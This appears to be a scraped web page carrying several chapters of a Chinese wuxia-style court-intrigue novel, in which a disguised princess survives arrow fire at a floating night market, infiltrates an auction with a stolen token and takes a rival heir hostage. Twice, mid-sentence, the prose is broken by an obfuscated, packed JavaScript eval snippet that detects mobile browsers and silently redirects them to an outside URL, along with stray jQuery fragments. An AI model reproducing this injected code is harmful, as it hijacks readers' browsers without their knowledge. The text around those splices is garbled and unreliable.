联想起五日前左元敬说的话,祁珩于是天马行空般地想到了锐王。 随后,他指着甲板上千问雪的背影,慢悠悠道: “你是没看到这人刚刚的身手,一看就不是等闲之辈。敢不敢打赌?我赌,他是锐王扮的。” 祁珩看人向来猜测大胆,又往往准得可怕,从未看走眼过。 听到这话,左元辰二话不说,一把拿起墙上挂着的弓,调好了弦,取箭搭弓。 “哦?锐王的身手?” “那我倒很想再看一遍了。” 左元辰开口,声音如玉石相击,清越悦耳,带着令人如沐春风的温柔腔调,与掌中的冰冷长弓形成诡异反差。 话音落下的瞬间,搭在弓臂上的手指骤然发力,长弓拉弦满。 没有任何多余的动作,他只是轻轻屈指,箭矢飞射而出,没有一丝箭啸声,叫人看得胆颤。 祁珩一眼看出,这一箭,是左元辰自创的“白虹贯日”,胜在出箭无声,悄然毙命。 与此同时,甲板上,千问雪刚放下木箱,后背骤然一紧,多年习武锻炼出的敏锐直觉告诉她危险将至。 四周夜色浓重,她迅速环顾,感官瞬间敏锐到极限,好像隐隐感知到了箭矢破空的气流涌动。 右手边,侧后方。 电光火石之间,她顺着弯腰放箱的姿势,闪身朝地面就是一个翻滚。 “咻——” 一道融于夜色的银光瞬间撕裂空气,贴着她翻滚时扬起的衣角擦过。 经过一声闷响,那根箭狠狠钉入她脚边尺余外的地面。 箭尾剧烈震颤,嗡嗡低鸣,箭身大半没入甲板。 好狠的暗箭! 心快跳出了嗓子眼,千问雪只觉得后怕。 若非方才那一滚,这一箭早已洞穿她的小腿。 她还未狼狈的翻滚中缓过来,站在顶层窗前的左元辰已悄然松手,放出了第二箭。 仍然是“白虹贯日” 这一箭,预判到了她起身的瞬间,比第一箭更快,更狠。 再次感知到气流的涌动,千问雪瞳孔骤然收缩,顾不得思考,她的上半身极限后仰,柔韧的腰肢弯折成惊心动魄的弧线。 下一秒,银白箭矢带着冰冷的死亡气息,擦着她仰起的下颌呼啸而过。 呼啸的而过箭刮得她下颌生疼,箭矢带起的箭风,斩断了她束发的布巾。 “嗤啦——” 她听到了裂帛声。 束发的旧布巾散开,墨玉般光泽流转的青丝如瀑倾泻,瞬间披满她的肩背。 时间仿佛凝滞。 看到两支钉在甲板的箭泛着森然冷光,码头上的人们这才反应过来,爆发出惶恐惊叫,很快作鸟兽散。 人群尽散,只余千问雪半跪在地,一手撑地,满头长发垂落,遮住了她的侧脸,看不出是何表情。 4. 泊夜墟(二) 跪坐在地,千问雪只觉得浑身各处齐齐被痛感灼烧,受木箱冲击的小臂,翻滚时擦伤的膝盖,被箭羽刮过的下颌…… 侥幸躲过了两箭,她心里却丝毫没有劫后余生的庆幸。 显然,对方对她的身手有所了解,故而在出箭时有所预判。 最令人毛骨悚然的是,在预判了她躲避走位的前提下,两支暗箭都刻意避开了她身上的要害处,就算是她躲闪不及中了箭,也不会立刻毙命。 狠辣与仁慈,以一种诡异的方式,同时呈现在两支暗箭上,交织出一种玩弄猎物般的戏谑感。 在满头青丝的垂影下,千问雪不甘地攥紧了双拳。 她咬牙忍着痛,扶着身旁的木箱,艰难而缓慢地站了起来。 两支暗箭不是白挨的,她有很多事情要弄明白。 比如,出箭者是谁,是否识破了自己的伪装,为何出了手,却又手下留情。 以及,这般被猎杀的滋味,也该让那出箭之人好好品尝一番。 与此同时,泊夜墟顶层雅间内。 左元辰搭在弓臂上的手指已经收回,自然垂落在身侧。 那张丰神俊朗的脸上,笑意分毫未减。 他唇角噙着令人心折的温柔笑容,目光深邃而锋利,穿透浓浓夜色,停落在千问雪的背影上。 方才躲避暗箭的一系列反应,在千问雪本人看来是狼狈不堪,但在左元辰眼里,已是强到令人意外了。 毕竟,在锐王之前,还从未有人能躲过他左元辰的白虹箭。 左元辰拍了拍祁珩的左肩,笑道: “你又赌赢了。” “那人确实是锐王,也确实是好身手。” 左元辰的声音清朗动听,带着毫不掩饰的欣赏。 “眼观六路,临危不乱,坚韧似柳,刚劲如松。” 祁珩早已坐回软榻,漫不经心剥着葡萄,顺嘴调侃道: “难得见你对别人评价这么高,小凌子你……莫不是对他感兴趣?我记得,你不好龙阳这口吧?” 雅间内,沉水香的清冽气息似乎凝固了一瞬。 “我感兴趣的是他的死期,我们的终胜之日。” 言罢,左元辰唇边笑意丝毫未变,又反问道: “你呢,难道你对锐王不感兴趣?难道你不好奇,如今的他,长什么样子?” 听到这句话,祁珩先是一怔,显然他没想到左元辰会突然提起这个话头,随后他立刻收起了玩世不恭的神色,眼眸里隐隐闪烁着复杂的晦暗。 空气沉默一瞬。 “我好奇个什么?总归他不会长得像我。” 祁珩又恢复了熟悉的语调,一脸满不在乎的样子。 左元辰没有接话,他再次望向楼下,颇有些认真地看着千问雪重新绾起长发,消失在阴影里。 他缓缓收回目光,修长手指重新拈起白玉扳指,慢条斯理转动,目光落在扳指细腻纹路上。 祁珩抱着臂,目光也从楼下收回,落在左元辰侧脸上: “对了,五日前,左元敬来北交巷见了我一面。” 左元辰转动扳指的手指,几不可察地停顿了一瞬。他并未看向祁珩,目光似乎穿透紧闭门扉,投向虚空,声音轻得像随时会散去的风: “他才跟着千君齐几天,就着急来北交巷,生怕自己身份没暴露么?” 祁珩耸肩摊了摊手,唏嘘道: “啧,你是不知道,他来找我的时候,一口一个‘三哥’地称呼你,不知道的真以为你俩兄友弟恭、手足情深呢。” 左元辰在左氏主支年轻一代中行三,人称左三公子,而左元敬排第四,是家中幺子。两人是同父异母的亲兄弟,私底下却一直不对付。 左元辰沉吟半晌,平静回道: “比起老四这个假扮的,我倒是更在意那位真太监。” 祁珩挑眉,瞬间明了言外之意: “放心吧,人在我手上,已经在审了。截获的那封密信也存地好好的。” 祁珩重新坐回圈椅,又捻起一颗葡萄,补充道: “哦对,冯家那草包也到了,就在下面,应该快上楼了。” 左元辰唇角那抹温柔的弧度,在静室幽暗光线下,显得愈发深邃莫测。指间白玉扳指温润流转,映着他深不见底的眼眸。 千问雪进入了船舱,心脏仍在胸腔里狂跳,脚下的步子却不显怯懦。 既然来了,身份已露,更要探个明白。 泊夜墟拍卖内场,她非进不可。 巨大楼船如同蛰伏河湾深处的巨兽,灯火通明。 千问雪低着头,穿梭嘈杂人流,目光敏锐扫过四周。 她在寻找通往“内场”的入口。 她的注意力很快被几个步履匆匆的商人吸引。 这几人衣着华贵,神态倨傲,好似对下层市集喧嚣不屑一顾,径直走向船舱深处。 千问雪暗暗跟随,看见他们在一面黑墙面前停下。 墙边站着两个守卫,穿着明显不同于一般船员。 那几个商人走到两人近前,各自掏出一枚奇特的黑色玉牌,在守卫眼前一晃。 守卫面无表情地点头,侧身让开。 墙壁上,一扇暗门瞬间开启,待那商人的身影消失其中,暗门随即无声合拢。 玄关暗门,验牌通行。千问雪心一沉。 验证玉牌,是进入内场的唯一凭证,绝非寻常行商能有,以她这身粗糙伪装,怕是很难混进去。 一丝焦虑掠过她心头。 她悄悄靠近暗门前等候查验的人们,目光扫视过每一个持有玉牌的人。 守卫检查极其严格,稍有不对便会被拦下质询。 此时硬闯是下下之策。 就在这时,一阵夸张嬉笑声和浓郁脂粉气飘来。 “美人儿,来,再陪本公子喝一杯!待会儿看上什么,爷给你买!” 千问雪顺着声音来处看去,只见一位身着重紫色云锦长袍的年轻男子,搂着一个衣衫轻薄的舞姬,踉踉跄跄地朝暗门方向走去。 这位公子似是醉了酒,脚步虚浮,眼神迷离。他腰间的羊脂玉佩随走路的步子晃荡个不停,手指上还串着大小数个玉扳指,浑身散发出纨绔气息。 千问雪打量的目光最终那人紫袍袖间的暗纹上,纹的是浴火双目九头鸟,广原冯氏的家族徽记。 更巧合的是,这草包纨绔的身形轮廓,竟与她相差不多。 对千问雪来说,这简直就是送上门的泊夜墟内场入场券。 她不再犹豫,悄无声息混入旁边的拥挤人潮,借着货架阴影的遮挡,朝那醉醺醺的冯家公子缓缓靠近。 那冯家公子显然不耐于等待,搂着舞姬的腰肢,脚步踉跄地走向船舱边一处昏暗角落。 光影在这里被切割得支离破碎,远离了人潮的喧嚣。 “美人儿…等急了是不是?” 他喷着酒气,声音黏腻,猴急地将舞姬抵在冰冷的船舷上,不安分的手胡乱在她身上摸索。 舞姬脸上强撑着媚笑,眼中却闪过一丝不易察觉的惊惶和厌恶,身体微微僵硬地向后缩着,试图避开那令人作呕的触碰。 “公子…别…这里人多…” “人多怎么了……人多才刺激。” 冯公子嘿嘿笑着,嘴唇不由分说地就要凑上去。 就在此刻。 千问雪如同一道无色无形的影子,无声无息地向这个淫.欲熏心的冯公子迫近。 此刻,冯公子所有注意力都集中在怀中猎物上,他的脖颈暴露在昏暗光线下,对即将降临的危险毫无防备。 千问雪并起指两指,快、准、狠地劈在他后颈上。 “唔……” 冯公子喉间发出一声短促沉闷的哼响,迷离的眼神瞬间涣散,搂着舞姬的手臂一松,身体像一滩烂泥般软软地倒向地面。 那舞姬骤然失去支撑,惊得浑身一颤,瞳孔因极度恐惧而骤然放大,她下意识地张开嘴,一声尖利的惊叫就要冲破喉咙。 千问雪的动作比舞姬的恐惧来得更快。 在冯公子倒地的同时,她已如影随形般贴近,一手迅速捂住舞姬即将发出尖叫的嘴,另一只手臂则稳稳地揽住了舞姬因惊吓而发软颤抖的身体,将她牢牢固定在船舷与自己之间。 “嘘——” 千问雪的声音压得极低,带着一种奇异的安全感,在舞姬耳边响起。 她捂住舞姬嘴的手掌并未用力压迫,只是阻止了对方声音的溢出。 她的身体挡在舞姬与倒地的冯公子之间,也隔绝了外界可能投来的视线。 舞姬的尖叫声被硬生生堵在喉咙里,化作一声呜咽。 她惊恐地睁大眼睛,身体在千问雪手臂的禁锢下瑟瑟发抖,像一只落入陷阱的小兽,充满绝望地看着千问雪。 千问雪微微低下头,沉静的目光看进舞姬惊惶失措的眼底。 原来这就是,温香暖玉在怀的感觉? 怀中的舞姬的确生得绝美,也难怪那姓冯的…… 不对。 千问雪突然意识到自己的失礼,并惊讶地发现自己已经习惯于用男子的目光去审视,而不是用女子的心胸去共 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197594|181181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情。 她从出生起就被当做男子教养,从世子到皇子…… 可世上还有很多女子,从出生起便没得选,她们甚至为了生存出卖自己的一切…… 一种说不清的复杂情绪涌上她的心头。 突然很想扇自己一巴掌。 再多踹那姓冯的几脚。 面对怀中人楚楚可怜的眼神,千问雪这才发觉是自己如今这一身不拘小节的行商装扮,让她感到害怕不安。 所以她尽可能将声音压得更低,语速清晰稳定,无半点凶狠: “别怕。我不伤你。” 她稍稍松开捂住舞姬嘴的手,但手臂依旧保持着环抱的姿势。 “他没事,只是被打晕了。你先不要喊叫,惊动了守卫,对你我都没好处。” 舞姬急促地喘息着,胸口剧烈起伏,惊疑不定地看着千问雪。 昏暗中,她看不清对方完整的脸,只能看到一双异常沉静的眼睛。 那双眼睛里没有淫邪,没有杀意,只有一种近乎冷酷的平静和一丝不易察觉的怜悯。 “你…你想做什么?” 舞姬的声音带着劫后余生的颤抖,细若蚊蚋。 千问雪的目光扫过她微微敞开的衣襟,又迅速移开,落回她脸上。她的声音依旧平稳: “我要借他的牌子,进内场。” 她指了指地上昏死的冯公子腰间那块黑色玉牌。 “我很快就出来。你先在这里守着,别让人发现了。” 舞姬顺着她的手指看了一眼地上的冯公子,又抬眸看向千问雪,眼神复杂至极。 恐惧依旧占据上风,但一丝求生的本能和微弱的权衡正在其中挣扎。 舞姬猜得出眼前这人身份不一般,那瞬间制服冯公子的身手和此刻的冷静都让她感到心惊。但她又害怕冯公子醒来之后,会变本加厉地找自己的麻烦。 舞姬垂眸蹙着眉,像是十分纠结着。 千问雪揽住舞姬肩膀的手臂,稳定得没有一丝颤抖。 见对方犹豫,千问雪没有催促,只是静静地看着她,给她时间思考。 时间仿佛在昏暗中停滞了几息,运河的水声、远处市集的喧嚣,都变得模糊不清。 终于,舞姬紧咬的下唇松开,极其轻微地点了一下头。 千问雪几不可察地松了口气。 她轻轻松开那舞姬,动作没有丝毫拖泥带水。俯身从冯公子腰间解下那枚温润的黑色玉牌,入手冰凉。 她将冯公子瘫软的身体往暗处的帆布堆里又拖了拖,让阴影更好地将其覆盖。 做完这一切,她直起身,整了整身上半旧的靛蓝直裰,将那枚象征着内场通行资格的玉牌紧紧攥在手心。 拿到了通信凭证,千问雪深吸一口气,换上一副泰然自若的神色,朝着那扇守卫森严的暗门走去。 楼船顶层,菱格木窗后。 左元辰的目光穿透距离与光影,落在那道从昏暗角落走向暗门的靛蓝色身影上。 他唇边那抹温柔的弧度纹丝未动,眼底却是一片深不见底的幽潭。 祁珩顺着他的目光看去,嘴角噙着一丝冷峭的弧度,声音不高,却字字清晰: “冯家这一代,怎么尽出些酒囊饭袋。连牌子都能丢得如此窝囊。” 他顿了顿,目光转向左元辰。 “这位锐王殿下,倒是个懂得借势的妙人。只是不知…她这借来的东风,能把她吹到哪一步?” 左元辰的目光依旧锁在楼下那道身影上,声音轻缓,如同在陈述一个与己无关的事实: “风的方向,有时并不由借风的人决定。” 他指尖在白玉扳指上划过一道微凉的弧线。 “泊夜墟的水够深。能浮起鱼虾,也能吞没蛟龙,自然也盛得下他锐王。” 祁珩轻笑一声,带着几分兴味: “那就要看看,这锐王到底是小鱼小虾,还是潜伏在渊的蛟龙。” “不过……” 他话锋一转,眼神变得幽深。 “他刚才制住那舞姬的手法干脆利落,却一点都不狠厉,似乎是挺怜香惜玉的。” “欲成大事者,不该如此悲悯。” 左元辰没有回应。菱格窗棂的阴影落在他俊朗的侧脸上,半明半暗。 楼下,那个手持冯家玉牌的“北地行商”,已经走到了暗门前。 门前,守卫锐利的目光扫过玉牌,又扫过那张布满风霜的脸,点了点头。 正当千问雪半只脚踏入暗门的时候,一个声音响起。 “且慢!” 5. 泊夜墟(三) 话音未落,千问雪的神经已经紧绷起来。 她不紧不慢转过身,神情淡定,看清了方才叫住她的人。 这人身穿一件水蓝色海涛纹锦袍,手拿着一把扇柄镶玉的水墨折扇,典型的世家子打扮。 不过他眼神清澈,神采奕奕,看上去似乎没有恶意。他看着千问雪,开口说道: “这位兄台,方才我在来的路上偶遇一位姑娘,她说自己与郎君走散了,恳请我帮忙找找。按照她的描述,我想你应当就是她的郎君了。” “你的娘子正在舱门附近寻你呢,可别让她等急了。” 千问雪立刻反应过来,对方口中“与郎君走散的姑娘”应当是冯公子带进来的那位舞姬。 千问雪思索片刻后,笑着向对方一揖,顺着对方的说辞道了谢: “我正愁四处寻不到我娘子呢,公子真是如及时雨一般,多谢多谢!那我边先行一步去寻我娘子了。” 言罢,她转身离开暗门入口,转瞬间没入人群,朝舱门方向走去,步履匆匆。 外场拍卖已经开始了,船舱内变得很拥挤。 人头攒动间,一个不知从哪冒出来的人一头扎进千问雪的怀中。 对方抬眸撞上千问雪惊诧的双眸,四目相对。 好巧不巧,撞进她怀中的人,正是那舞姬。 舞姬见了千问雪,眼里闪着光,第一句话便是: “公子,求您带奴家走!” 冷不丁地听到这话,千问雪一时语塞,悬在半空的手颤抖了一瞬,而后开口道: “所以,你方才自称是我‘娘子’,四处打听寻我,就是为了这个?” 舞姬连忙跪下哀求: “是,但…不全是。奴家跟冯公子进过内场,眼下可以陪公子进去的!求求您带奴家走吧,不然冯公子醒了一定不会放过奴家的……” 千问雪见不得对方下跪,立刻扶起她,思索片刻后,温言道: “姑娘同我说话时不必自称奴。若你心意已决,我愿意带你走。眼下还需姑娘帮我个忙。” “陪我进拍卖会内场,就现在。” 对于眼前这个舞姬,千问雪还有很多疑问,但现在显然不是纠结的时候。 自己拿的本就是冯家的玉牌,既然她同冯公子一道进过内场,熟悉里面的情况,那么带上她,也就多了几分把握。 听到对方肯定的答复,舞姬用力的点了点头,眼里闪着泪光。 “公子可以唤我月娘,进去之后,我为您指路。” “好,那就委屈月娘,同我一起扮演一对夫妻,携手进场。” 月娘脸上哀求的神色此时已被盈盈笑意代替,她熟练地挽住千问雪的左臂,两人并肩,款款走向那道连接内场的暗门。 核验玉牌后,暗门缓缓洞开。 两人的身影一齐没入暗门尽头。 一阵黑暗过后,刺目的光亮泼洒下来,不是天光,是各色数不清的灯烛,将这一方船舱照得如同白昼。 千问雪被突如其来的强光晃了眼,再次睁眼时,映入眼帘的是雕梁画栋堆砌出的无限浮华。 金翠耀目,罗绮飘香。 锦绣珠玉,笙歌笑语。 此间堪言富贵迷人眼。 饶是千问雪看惯了天京皇宫的尊荣气象,见此情景也不免咋舌。 千问雪一面挽着月娘往前走,一面不动声色地观察着四周。 她环视一圈,内场的构造便已了然于胸。 内场巨大的舱厅被分隔成上下两层。 下层是密集的普通席位,人头攒动,各式口音的议论声嗡嗡作响。 上层则是一个个垂着精贵丝绒帷幕的雅间,影影绰绰,透着一股拒人千里的矜贵与高傲。在江陵泊夜墟,能坐进雅间的,只能是四大世家的子弟。 灯光从雅间缝隙里漏下,切割着下方攒动的人影,也切割着人心。 这一方泊夜巨舟,赫然便是江左众生相的缩影。 在这里,世家为天,众生俯首。 一旁的月娘突然晃了晃千问雪的手臂,在她耳边低语道: “公子,内场规矩,参与竞拍要戴面具。” 说着,她转到千问雪身后,轻轻把一张银面具戴在对方脸上,随后才给自己带上了面具。 “这是我从冯公子身上找到的,放心戴,上面没有世家徽记。” 她的声音脆如银铃,带着甜丝丝的笑意。 千问雪垂眸笑了笑,同她道了谢。 倏地,锣鼓齐鸣,响彻全场。 锣鼓连响九声过后,拍卖台上幕布缓缓拉开。 “各位贵客,欢迎来到泊夜墟内场!今夜岁星高升,天官赐福,辰公子做庄,请各位尽兴!” 一道洪亮声音响起。 一位身着暗红色锦袍的拍卖师现身台上,开始绘声绘色地介绍着一件件待拍的奇珍异宝。 每一次落槌,都伴随着一阵或高或低的喧哗,财富在这里如同流水般易手。 千问雪的目光却并未在这些璀璨夺目的物件上过多停留。 她的视线缓缓掠过那些上层雅间垂下的厚重帷幕。 帷幕之后,才是这泊夜墟真正的主角,江左四大世家——左、张、冯、秦。 江陵左氏,绍阳张氏,广原冯氏,岳安秦氏,他们只手遮天,如同盘踞在蛛网中心的巨蛛,无声地掌控着江南十九州的秩序与风向。 这四大世家先祖皆为从龙功臣,出身江左,势力却遍布元江以南十九州,代代传承已有百年,与大厦国祚同龄。 大厦百年,天家与世家的关系一直在一个微妙的平衡点间摇摆。 到兴化年间,世家所掌握的江南地区的经济与文化实力已远超北方,随着南北差距愈发扩大、南北矛盾日益激化,脆弱的权力平衡行将瓦解。 如今是兴化十九年,世家野心膨胀,帝王枕戈待旦。 而此时就藩淮南的千问雪,是唯一的变数。淮南北通中原,南临江左,对四大世家而言,锐王,无疑是悬在他们卧榻之处一把刀。 所以,眼下这些坐在帷幕后雅间内的人,日后难免要与千问雪斗个不死不休。 千问雪暗中探寻的目光,在几个位置特殊的雅间上停留的时间稍长了些。 她注意到左侧一个雅间,帷幕纹丝不动,连仆役进出都透着一种近乎刻板的谨慎,那是绍阳张氏的做派。 稍远处另一个雅间,气氛则显得松弛许多,隐隐有丝竹调笑声传出,应是素来奢靡的冯家。先前被她打晕的冯公子应是到这个雅间就座的。 而斜对面那个位置最正、视野最佳的主位雅间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197595|181181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,厚重的玉色帷幕隔绝了一切窥探,只余一片令人心悸的神秘。 千问雪的手指在银面具边缘轻轻摩挲了一下,目光在那片帷幕上停留了一瞬,随即不着痕迹地移开。 想来,这道帷幕背后,便是今夜做庄的“辰公子”,江左世家第一人,左元辰。 传闻这位年轻的左三公子,早在九岁时便被定为左氏家主接班人,十七岁开始接手宗族事务,并任江陵刺史。因治政有方,才貌双全,他在江左素有贤名,威望甚高。 拍卖进程过半,气氛在一种奇异的焦灼中攀升。 终于,拍卖师清了清嗓子,声音拔高几分,带着一种刻意营造的神秘感: “诸位贵宾!接下来,便是今夜万众期待的压轴重宝——‘沉水凝香’!” 全场瞬间安静,所有的目光聚焦于台中央。 台上帷幕缓缓拉开,只见展台之上陈放着一个深褐色的红木托盘,托盘中央静静卧着一截乌沉沉的木头。 木头长约三尺,通体呈现出一种深沉的玄黑色泽,表面光滑如缎,隐隐透出细密的天然纹理。 最为奇特的是,一股不可名状的幽香随着它的出现悄然弥漫开来。 那香气并不浓烈霸道,却醇厚无比,瞬间压过了场内所有的脂粉与香料气息。 见檀木压轴出场,千问雪微微动容,隐在面具后的目光仍然沉静如水。 月娘挽着千问雪找到了一处座位,又悄声说: “公子,咱们如今进不了雅间,先在这儿坐下吧,这里虽然不比上层雅间视线好,但靠近楼梯和出口呢……” 靠近楼梯和出口? 千问雪心中立刻有了盘算。 她看向月娘,问道: “先前你在外场寻我时,遇到的那位蓝袍公子,你可识得?” 月娘眼珠滴溜一转,神情激动: “我不认得他,但我认得他的扇子!就是柄上镶着玉,扇面是水墨画的那把!” “上回冯公子带我进内场,压轴拍的就是那扇子,最后得主是张家的人。好像叫张…什么卿。” 千问雪心中暗喜,找到突破口了。 如果她没记错,绍阳张氏家主的长子,名叫张远卿。他从“远”字辈,“卿”字是独有。年龄,也对的上。 “月娘,你可真是个福星,多亏有你。”千问雪由心地夸赞道。 彼时的千问雪并不知道,后来,这颗“福星”在重重黑暗里照了她一路,却没能同她一起见证光明。 凭那一面之缘,千问雪觉着张远卿不像是个难相与的人。 眼下,以他为跳板,是混入上层雅间最好的机会。 此刻千问雪脑中已有了清晰的计划,她低下头凑到月娘耳边,小声吩咐了许久。 *** 上层,天字号雅间。 香炉中点着沉水香,青烟袅袅,沁人心脾。 左元辰与祁珩两人正对坐手谈。 左元辰执黑,祁珩执白。 棋局胶着,左元辰落下一子后,祁珩沉思许久,一手托腮,一手落在桌上叩着一粒白子。 听着楼下激烈竞拍的叫价声,再看看对面一脸波澜不惊的左元辰,祁珩终于忍不住问道: “那边人已齐了,时间也不早了,你还要等到几时?” 6. 泊夜墟(四) 左元辰抬眸看向祁珩,淡定开口道: “不急,再等等。” 祁珩无奈地叹了口气,又开始调侃: “为了请锐王入瓮,你把三世家的人都晾在隔壁几个时辰了,再牢固的同盟也禁不住这样折腾。” 左元辰唇畔溢出一声低笑: “呵,隔壁坐着的可个个都是人精。我为何不来,他们自然心里有数。” 祁珩优哉游哉地捻着白棋,没再说什么。 他知道左元辰晾着三世家的人不止是为了等锐王出招,还是为了给他们一个告诫。 太子被贬为淮南锐王的消息传到江左那天,适逢左元敬生辰,在生辰宴上,左元敬同冯家秦家的几个小辈喝多了酒,不知怎么聊到了锐王,借着酒兴,说了些大逆不道的话。 不巧的是这话传到了左元辰耳朵里,碰巧的是就在这时陈和敬向天京传递的密信被左元辰派出的暗探截获。 于是左元辰当即下令秘密扣留陈和敬,又顺理成章地打发左元敬去假扮陈和敬盯住锐王,好教他这四弟收收心性。 迫于左元辰的淫威,左元敬只得夹着尾巴老老实实扮太监去了。 同样是酒后胡言,左四已受了责罚,那么秦家和冯家来的人,此刻被晾在隔壁,倒也无可厚非。 而张家这次来的是张远卿,他向来是个脾气好的,陪着一起等,倒也不会恼火。 只能说左元辰很了解自己这些盟友的斤两,也很会琢磨各色人心。 祁珩又扫了一眼棋局,瞬间看出黑子隐隐合围之势,往背后一靠,耸了耸肩道: “这一招你是百用不厌,欺负我琢磨得少?” “不然呢,我用了这么多遍也没见你把这招攻克下来。” 左元辰毫不客气地反唇相讥。面上带笑,吐字如刀。 “啧,罢了,我去外面透透气,回来再战。” 祁珩丢下话,起身迈着大步出了门。 此时,一墙之隔的另一雅间里,气氛正诡异得出奇。 张远卿端坐席间一言不发,只是旁若无人地端详着自己的水墨扇,像是在透过扇面看着什么。 一旁的冯观烨则显得有些焦头烂额,大抵是在担心他那不成器的纨绔弟弟冯观林,他背着手来回踱步,“嗒嗒”的脚步声在静室里回荡。 靠在对面软榻上的秦月临单手支着额头,他本就气质清冷,此刻神情也淡得如水,衬得周遭空气都似凝了霜。 三个人各怀心思,却又心照不宣地耐心等待组局的人现身。 烛光透过薄窗纸倾洒在三人脸上,勾勒出一层泛着毛边的光晕。 “咚咚咚” 雅间的门倏地被叩响。 张远卿的扇子“哒”的一声收拢起来,冯、秦两人不约而同地转头看向那扇门,面上可见警惕神色。 三个人都知道,唯一没来的左元辰,进来前不会先敲门。 事以密成,左元辰做事向来滴水不漏,这场四大世家继承人的会面,也断不会让不相干者知晓。 门外传来一个男声。 “远卿啊,楼下有人找你。” 是祁珩的声音。 三个人同时松了口气。 张远卿旋即起身,小心地将扇子收入袖中。他推开雅间的门,侧身而出。 张远卿这一去就再没回来。 约莫半炷香的时间后,门外忽然响起一声脆响,像是什么东西掉落在地。 接着传来一声刚出口就被打断的惊呼。 随后是“啪嗒”一响,干脆而迅速的开门声。 雅间里的冯、秦二人蹙眉对视了一瞬,颇有默契地屏息敛声,轻手轻脚地移步到门边继续听门外的动静。 一阵短暂静默过后,左元辰的声音从门外清晰传来,清朗动听,如掷珠玉,如沐春水。 “还请阁下先把刀从我颈前挪开,还有……不要一直掐着我的腰。” “阁下若放下刀,我们可以好好谈。若不放,死的只能是你。” 空气再度陷入沉静,只余冯观烨与秦月临两人并排站在紧闭的门后,面面相觑。 秦月临沉默半刻后抬手揉了揉太阳穴。他怀疑是自己在雅间里闷得太久,所以魔怔了。 不然怎么会听到……左元辰被人掐着腰,还拿刀抵着脖子? 那可是左元辰啊…… 冯、秦二人不知的是,这一切不可思议的变故,皆始于半柱香时间前,张远卿走出门的那一刻。 张远卿走出雅间时,只见门外廊道寂静,空无一人。 方才祁珩的叩门声与喊话声犹在耳畔,此刻却不见其踪影。张远卿眉宇间掠过一丝狐疑。 担心此中有诈,张远卿决定先回雅间去。 他正欲抬手推门,一只手掌却悄无声息地搭上了他的右肩。 动作轻缓,却带着不小的力度。 张远卿身形微顿,正要回头,那只手在他肩上重重按了一下,似在阻止他转头。 紧接着,一个压得极低的声音贴在他耳后响起,与祁珩平日那慵懒又洒脱的语调一般无二: “嘘,先别出声。是我。” 张远卿心下诧异,但仍依言没有立刻动作。 与此同时,“噗噗——”数声轻响后,廊下与两旁雅间门楣上悬挂的灯笼与廊壁上的烛台,于刹那间齐齐熄灭。 浓墨泼洒般,黑暗瞬间笼罩一切。 “灯全熄了,怎么回事?” 张远卿的语气里透着愈演愈烈的疑惑和不安。 “先别管这些,我有更要紧的事要同你说” 黑暗中,祁珩的声音紧贴着张远卿的右耳响起,气流拂过他后颈。 “玹凌的‘生意’,计划有变。” “他需立刻单独见你,但暂不能让里面两位知悉。”祁珩语气急促,透露着严肃与紧急。 临时改变计划?这不像是左三的风格。 张远卿心中疑窦丛生,但黑暗完美地掩盖了他脸上疑惑的神情。他低声问道: “他要在何处见我?” “你说呢?老地方。” 张远卿心念瞬转,一个模糊的念头升起。他刻意放缓了语调,带着几分不确定: “既如此紧急……那就是‘水云阁’了?那里更僻静些。” 说着,张远卿指向祁珩左手边那个方向。 话音落下,身后的祁珩似乎沉默了几秒才开口: “远卿兄,你指错方向了,水云阁在另一边。” 不对,这不是祁珩。 除了左元辰,祁珩称呼其他世家子弟,从来不会称兄道弟。 张远卿在此刻笃定了自己的怀疑。 他正欲开口疾呼:“有细作——”然而一个字还未出口,身后之人似乎早已预料他的反应,捂嘴的动作快如鬼魅,瞬间将他尚未出口的呼喊死死摁灭在黑暗之中。 张远卿用尽全力挣扎时,那把水墨扇从袖间滑落。 “啪嗒。”扇子落地一声脆响。 千问雪早就知道光靠拟声和熄灯骗不了张远卿多久。 软的不行就只能来硬的了。 她自腰间拔出一把匕首,迅速抵在张远卿喉间。 “张公子,劳你带个路……” 就在这时“啊——救命”一声女子短促而惊慌的尖叫从走廊尽处传来,声音充满无助与骇然,旋即像是被人死死捂住了嘴,声音戛然而止。 这……似乎是月娘的声音。 千问雪心道不好。 左元辰便在这时开门走了出来。 一个如珠玉相击,又似春水潺湲的声音,清晰地划破黑暗: “阁下挟持了我的贵客,是要去哪?” 千问雪隐在黑暗中,抬眸端详了左元辰半刻。 左元辰孤身站在黑暗交叠处,一袭白衣胜雪,一双眸子深如瀚海,似鬼亦像仙。 思及月娘安危,千问雪心生一计。 她并起两指点了张远卿的穴,让他无法挣扎。 随后她挟持着张远卿,一步一步走向左元辰。 “既然左公子怕我伤着贵客,那我也有个折中法子……” 走到左元辰身侧时,千问雪手中的匕首骤然抬起,在黑暗里划过森然弧线,从张远卿喉间移至左元辰颈侧。 千问雪一只手执刃,另一手推开了被点穴的张远卿之后,顺势紧紧抓住左元辰。 “一人换一人,左公子,这个法子如何?” 千问雪紧攥着匕首,冷笑道。 左元辰垂眸看了一眼颈侧的匕首,刀刃极锋利,斜贴着脖颈,触感冰凉。 他轻笑了一声。 “还请阁下先把刀从我颈前挪开,还有……不要一直掐着我的腰。” 千问雪这才意识到自己另一支手 